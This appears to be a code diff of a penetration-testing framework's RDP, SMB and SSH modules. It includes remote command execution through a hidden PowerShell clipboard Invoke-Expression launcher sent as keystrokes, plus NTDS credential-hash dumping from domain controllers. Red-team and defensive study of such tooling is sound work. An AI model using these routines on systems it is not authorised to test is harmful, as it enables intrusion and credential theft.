normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
|
||||
|
||||
start_index = normalized.find(start_marker)
|
||||
end_index = normalized.find(end_marker, start_index + len(start_marker))
|
||||
if start_index == -1 or end_index == -1:
|
||||
return None
|
||||
|
||||
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
|
||||
exit_code_text, separator, output = body.partition("\n")
|
||||
if not separator:
|
||||
return None
|
||||
|
||||
try:
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
exit_code = int(exit_code_text.strip())
|
||||
except ValueError:
|
||||
return None
|
||||
return exit_code, output.rstrip("\n")
|
||||
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
async def _wait_for_event(self, event_names, max_wait):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + max_wait
|
||||
|
||||
win_scancode = layout.vk_to_scancode("VK_LWIN")
|
||||
await self.conn.send_key_scancode(win_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
while True:
|
||||
if self.conn.disconnected_evt.is_set():
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
|
||||
r_scancode = layout.char_to_scancode("r")[0]
|
||||
await self.conn.send_key_scancode(r_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
await self.conn.send_key_scancode(r_scancode, False, False)
|
||||
await asyncio.sleep(0.1)
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
|
||||
if data is None:
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
|
||||
await self.conn.send_key_scancode(win_scancode, False, False)
|
||||
event_name = getattr(getattr(data, "type", None), "name", None)
|
||||
if event_name in event_names:
|
||||
return data
|
||||
|
||||
await asyncio.sleep(0.5)
|
||||
async def _wait_for_desktop(self):
|
||||
loop = asyncio.get_running_loop()
|
||||
started_at = loop.time()
|
||||
|
||||
self.logger.debug("Win+R sent successfully")
|
||||
return True
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error sending Win+R: {e!s}")
|
||||
self.logger.debug("Using fallback approach for opening command prompt")
|
||||
return False
|
||||
if not self.conn.desktop_buffer_has_data:
|
||||
try:
|
||||
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
|
||||
except TimeoutError:
|
||||
self.logger.debug("No desktop update received before command execution; continuing")
|
||||
|
||||
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
|
||||
if remaining_delay > 0:
|
||||
await asyncio.sleep(remaining_delay)
|
||||
|
||||
async def _submit_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self.conn.set_current_clipboard_text(command)
|
||||
# server must acknowledge our clipboard data before we trigger the read
|
||||
response = await self._wait_for_event(
|
||||
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
|
||||
)
|
||||
if not response.accepted:
|
||||
raise RuntimeError(
|
||||
"Remote session rejected the clipboard command data"
|
||||
)
|
||||
# type a one-liner that reads and executes the clipboard we just set
|
||||
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
|
||||
await self._send_keystrokes(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
|
||||
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
|
||||
"System.Windows.Forms; Invoke-Expression "
|
||||
'([System.Windows.Forms.Clipboard]::GetText())"'
|
||||
)
|
||||
await self._send_enter()
|
||||
|
||||
async def _submit_typed_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self._send_keystrokes(command, delay=0.005)
|
||||
await self._send_enter()
|
||||
|
||||
async def _wait_for_command_result(self, marker):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + self.args.clipboard_delay
|
||||
|
||||
while True:
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
|
||||
result = self._parse_execution_result(data.data, marker)
|
||||
if result is not None:
|
||||
return result
|
||||
|
||||
async def execute_shell(self, payload, get_output, shell_type):
|
||||
# Append | clip to send output to clipboard
|
||||
if shell_type == "cmd":
|
||||
payload_with_clip = f"{payload} | clip & exit"
|
||||
elif shell_type == "powershell":
|
||||
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
|
||||
else:
|
||||
self.logger.fail(f"Unsupported shell type: {shell_type}")
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
marker = uuid4().hex if get_output else None
|
||||
command = self._build_execution_command(
|
||||
payload, shell_type, marker, get_output
|
||||
)
|
||||
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
|
||||
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to RDP: {e!s}")
|
||||
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
|
||||
self.logger.fail(f"Authentication failed: {e!s}")
|
||||
await self.terminate_conn()
|
||||
return None
|
||||
|
||||
try:
|
||||
if get_output:
|
||||
self.logger.success("Waiting for clipboard to be ready...")
|
||||
clipboard_ready = False
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
timeout_counter = 0
|
||||
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
|
||||
try:
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
|
||||
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
|
||||
clipboard_ready = True
|
||||
self.logger.debug("Clipboard is ready!")
|
||||
break
|
||||
except asyncio.TimeoutError:
|
||||
timeout_counter += 1
|
||||
continue
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
if not clipboard_ready:
|
||||
try:
|
||||
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return ""
|
||||
return None
|
||||
|
||||
# Wait for desktop to be available
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
await self._wait_for_desktop()
|
||||
|
||||
if get_output:
|
||||
# On first RDP logon after boot, Explorer may not be ready to
|
||||
# process Win+R immediately after the desktop appears. This
|
||||
# no-op warmup command absorbs the race: if the shell isn't
|
||||
# ready it silently fails, and the 3-second pause gives Explorer
|
||||
# time to finish initialization before the real command.
|
||||
await self._submit_typed_run_command(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
|
||||
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
|
||||
)
|
||||
await asyncio.sleep(3)
|
||||
|
||||
if get_output:
|
||||
try:
|
||||
await self._submit_run_command(command)
|
||||
except TimeoutError:
|
||||
self.logger.fail(
|
||||
"Remote session did not acknowledge the clipboard command data"
|
||||
)
|
||||
return None
|
||||
else:
|
||||
await self._submit_typed_run_command(command)
|
||||
|
||||
if not get_output:
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
return None
|
||||
|
||||
try:
|
||||
# Try to open Run dialog using Windows+R
|
||||
self.logger.debug("Attempting to open Run dialog")
|
||||
win_r_success = await self._send_win_r()
|
||||
|
||||
if win_r_success:
|
||||
self.logger.debug(f"Launching {shell_type} via Run dialog")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
|
||||
else:
|
||||
# Fallback: Try direct command typing (assumes cmd may already be open)
|
||||
self.logger.debug(f"Sending {shell_type} command directly")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
# Type the command with | clip
|
||||
self.logger.debug(f"Typing command: {payload_with_clip}")
|
||||
await self._send_keystrokes(payload_with_clip)
|
||||
await self._send_enter()
|
||||
|
||||
# Wait for command to execute
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
if get_output:
|
||||
# Get the current clipboard text
|
||||
self.logger.debug("Getting clipboard content...")
|
||||
clipboard_text = await self.conn.get_current_clipboard_text()
|
||||
|
||||
if clipboard_text:
|
||||
self.logger.debug("Command output retrieved from clipboard:")
|
||||
for line in clipboard_text.lstrip().strip("\n").splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.fail("Clipboard is empty or contains non-text data")
|
||||
return clipboard_text
|
||||
else:
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
|
||||
self.logger.debug("Command execution completed")
|
||||
exit_code, output = await self._wait_for_command_result(marker)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
|
||||
return None
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error during command execution: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host during command execution")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error during command execution: {e!s}")
|
||||
if "cannot unpack non-iterable NoneType object" in str(e):
|
||||
self.logger.fail("RDP connection was terminated unexpectedly")
|
||||
else:
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
if exit_code != 0:
|
||||
self.logger.fail(f"Command completed with exit code {exit_code}")
|
||||
if output:
|
||||
for line in output.splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.debug("Command completed without output")
|
||||
return output
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error: {e!s}")
|
||||
@@ -559,37 +758,31 @@ class rdp(connection):
|
||||
|
||||
get_output = bool(not self.args.no_output)
|
||||
|
||||
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
|
||||
self.logger.success(f"Executing command: {payload}")
|
||||
|
||||
try:
|
||||
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
|
||||
|
||||
if result:
|
||||
if result is not None:
|
||||
self.logger.debug("Command execution completed")
|
||||
return result
|
||||
except Exception as e:
|
||||
self.logger.error(f"Command execution error: {e!s}")
|
||||
if shell_type == "cmd":
|
||||
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
|
||||
try:
|
||||
return self.execute(payload, shell_type="powershell")
|
||||
except Exception as e2:
|
||||
self.logger.fail(f"Execute command failed, error: {e2!s}")
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
|
||||
def ps_execute(self):
|
||||
self.execute(payload=self.args.ps_execute, shell_type="powershell")
|
||||
|
||||
async def screen(self):
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
@@ -605,8 +798,9 @@ class rdp(connection):
|
||||
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
@@ -617,7 +811,8 @@ class rdp(connection):
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
|
||||
@@ -20,8 +20,8 @@ def proto_args(parser, parents):
|
||||
cgroup = rdp_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
return parser
|
||||
+61
-54
@@ -6,14 +6,16 @@ import struct
|
||||
import ipaddress
|
||||
from pathlib import Path
|
||||
|
||||
from nxc.helpers.path import sanitize_filename
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from Cryptodome.Hash import MD4
|
||||
from textwrap import dedent
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
|
||||
from impacket.examples.secretsdump import (
|
||||
LocalOperations,
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
LSASecrets,
|
||||
@@ -59,9 +61,11 @@ from impacket.smb3structs import (
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
from nxc.connection import connection, sem, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
@@ -207,16 +211,15 @@ class smb(connection):
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = self.conn.getServerDNSHostName().upper()
|
||||
dns_hostname = self.conn.getServerDNSHostName()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
self.hostname = dns_hostname.split(".")[0]
|
||||
hostname = dns_hostname.split(".", 1)[0]
|
||||
elif dns_hostname:
|
||||
self.hostname = dns_hostname
|
||||
hostname = dns_hostname
|
||||
else:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
hostname = self.conn.getServerName()
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
|
||||
else:
|
||||
try:
|
||||
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
|
||||
@@ -891,17 +894,13 @@ class smb(connection):
|
||||
session we already hold answers without enumerating every share (unlike
|
||||
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
|
||||
|
||||
Meant to run while the null session is still fresh. When there is no
|
||||
session, the reason is decisive: a DC with NTLM enabled always accepts
|
||||
the null bind, so "NTLM on + no null session" means this is NOT a DC.
|
||||
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
|
||||
bind then), so we hand that case off to the Kerberos tier.
|
||||
Meant to run while the null session is still fresh. Without a session
|
||||
this check is inconclusive: DCs can refuse the null bind (Server 2025
|
||||
does by default, as does an NTLM-disabled DC), so we hand off to the
|
||||
RPC/Kerberos tiers.
|
||||
"""
|
||||
if not self.null_auth:
|
||||
if not self.no_ntlm:
|
||||
self.logger.debug("NTLM enabled but no null session: host is not a DC")
|
||||
return False
|
||||
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
|
||||
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
|
||||
return None
|
||||
try:
|
||||
tid = self.conn.connectTree("SYSVOL")
|
||||
@@ -1264,7 +1263,7 @@ class smb(connection):
|
||||
self.logger.error("Could not get process list")
|
||||
return
|
||||
|
||||
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
|
||||
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
|
||||
if not pidList:
|
||||
self.logger.fail(f"Could not find process named {self.args.taskkill}")
|
||||
return
|
||||
@@ -1378,12 +1377,12 @@ class smb(connection):
|
||||
@requires_admin
|
||||
def tasklist(self):
|
||||
# Formats a row to be printed on screen
|
||||
def format_row(procInfo):
|
||||
def format_row(procInfo, pSid):
|
||||
return template.format(
|
||||
procInfo["ImageName"],
|
||||
procInfo["UniqueProcessId"],
|
||||
procInfo["SessionId"],
|
||||
procInfo["pSid"],
|
||||
str(procInfo["ImageName"].getValue()),
|
||||
str(procInfo["UniqueProcessId"]),
|
||||
str(procInfo["SessionId"]),
|
||||
pSid,
|
||||
f"{procInfo['WorkingSetSize'] // 1000:,} K",
|
||||
)
|
||||
|
||||
@@ -1399,8 +1398,8 @@ class smb(connection):
|
||||
if not res:
|
||||
return
|
||||
self.logger.success("Enumerated processes")
|
||||
maxImageNameLen = max(len(i["ImageName"]) for i in res)
|
||||
maxSidLen = max(len(i["pSid"]) for i in res)
|
||||
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
|
||||
maxSidLen = max(len(i.getSid()) for i in res)
|
||||
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
|
||||
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
|
||||
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
|
||||
@@ -1411,12 +1410,12 @@ class smb(connection):
|
||||
# If args.tasklist is not True then a process name was supplied
|
||||
if self.args.tasklist is not True:
|
||||
# So we look for it and print its information if found
|
||||
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
|
||||
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
|
||||
found_task = True
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
# Else, no process was supplied, we print the entire list of remote processes
|
||||
else:
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
|
||||
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
|
||||
if self.args.tasklist is not True and not found_task:
|
||||
@@ -1989,7 +1988,7 @@ class smb(connection):
|
||||
try:
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
|
||||
if not flag or not stringBinding:
|
||||
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
|
||||
|
||||
@@ -2166,10 +2165,10 @@ class smb(connection):
|
||||
|
||||
def get_file_single(self, remote_path, download_path, silent=False):
|
||||
share_name = self.args.share
|
||||
if self.args.append_host:
|
||||
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
|
||||
if not silent:
|
||||
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
with open(download_path, "wb+") as file:
|
||||
if self.download_file(share_name, remote_path, file.write):
|
||||
if not silent:
|
||||
@@ -2202,10 +2201,18 @@ class smb(connection):
|
||||
|
||||
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
|
||||
|
||||
# create local directory structure regardless of content; download empty folders by default
|
||||
# change the Windows path to Linux and then join it with the base directory to get our actual save path
|
||||
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
|
||||
local_folder_path = os.path.join(dest, relative_path)
|
||||
# Create a safe local directory structure while retaining the raw remote path for SMB.
|
||||
try:
|
||||
relative_path = ntpath.relpath(folder, base_dir or folder)
|
||||
except ValueError:
|
||||
relative_path = folder
|
||||
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
|
||||
local_folder_path = os.path.join(dest, *relative_parts)
|
||||
destination_path = Path(dest).resolve()
|
||||
resolved_folder = Path(local_folder_path).resolve()
|
||||
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
|
||||
return
|
||||
|
||||
if not filtered_items and ignore_empty:
|
||||
self.logger.debug(f"Skipping empty folder '{folder}'")
|
||||
@@ -2217,22 +2224,20 @@ class smb(connection):
|
||||
self.logger.display(f"Created empty directory '{local_folder_path}'")
|
||||
|
||||
for item in filtered_items:
|
||||
item_name = sanitize_filename(item.get_longname())
|
||||
if not item_name:
|
||||
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
|
||||
continue
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
|
||||
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
|
||||
remote_item_name = item.get_longname()
|
||||
item_name = sanitize_path_component(remote_item_name)
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
|
||||
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
|
||||
|
||||
if item.is_directory() and recursive:
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path}")
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
|
||||
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
|
||||
elif not item.is_directory():
|
||||
remote_file_path = ntpath.join(folder, item_name)
|
||||
remote_file_path = ntpath.join(folder, remote_item_name)
|
||||
local_file_path = os.path.join(local_folder_path, item_name)
|
||||
# Defense-in-depth: verify path stays under destination
|
||||
resolved = Path(local_file_path).resolve()
|
||||
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
|
||||
if destination_path not in resolved.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
|
||||
continue
|
||||
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
|
||||
@@ -2240,7 +2245,7 @@ class smb(connection):
|
||||
try:
|
||||
self.get_file_single(remote_file_path, local_file_path, silent)
|
||||
except FileNotFoundError:
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
|
||||
|
||||
def get_folder(self):
|
||||
recursive = self.args.recursive
|
||||
@@ -2434,6 +2439,7 @@ class smb(connection):
|
||||
|
||||
def ntds(self):
|
||||
self.enable_remoteops()
|
||||
is_remote = True
|
||||
use_vss_method = False
|
||||
NTDSFileName = None
|
||||
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
||||
@@ -2488,20 +2494,21 @@ class smb(connection):
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
if self.remote_ops:
|
||||
try:
|
||||
if self.args.ntds == "vss":
|
||||
NTDSFileName = self.remote_ops.saveNTDS()
|
||||
use_vss_method = True
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
if self.args.ntds == "vss":
|
||||
use_vss_method = True
|
||||
is_remote = False
|
||||
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
|
||||
os.makedirs(output_folder, exist_ok=True)
|
||||
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
|
||||
localOps = LocalOperations(system_path)
|
||||
self.bootkey = localOps.getBootKey()
|
||||
|
||||
self.output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
NTDSFileName,
|
||||
self.bootkey,
|
||||
isRemote=True,
|
||||
isRemote=is_remote,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
remoteOps=self.remote_ops,
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
@@ -108,7 +108,7 @@ class MMCEXEC:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import ntpath
|
||||
import os
|
||||
from time import sleep
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
@@ -57,7 +57,7 @@ class WMIEXEC:
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
+14
-3
@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
|
||||
SSHException,
|
||||
)
|
||||
|
||||
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
|
||||
|
||||
|
||||
class ssh(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -85,13 +87,13 @@ class ssh(connection):
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
|
||||
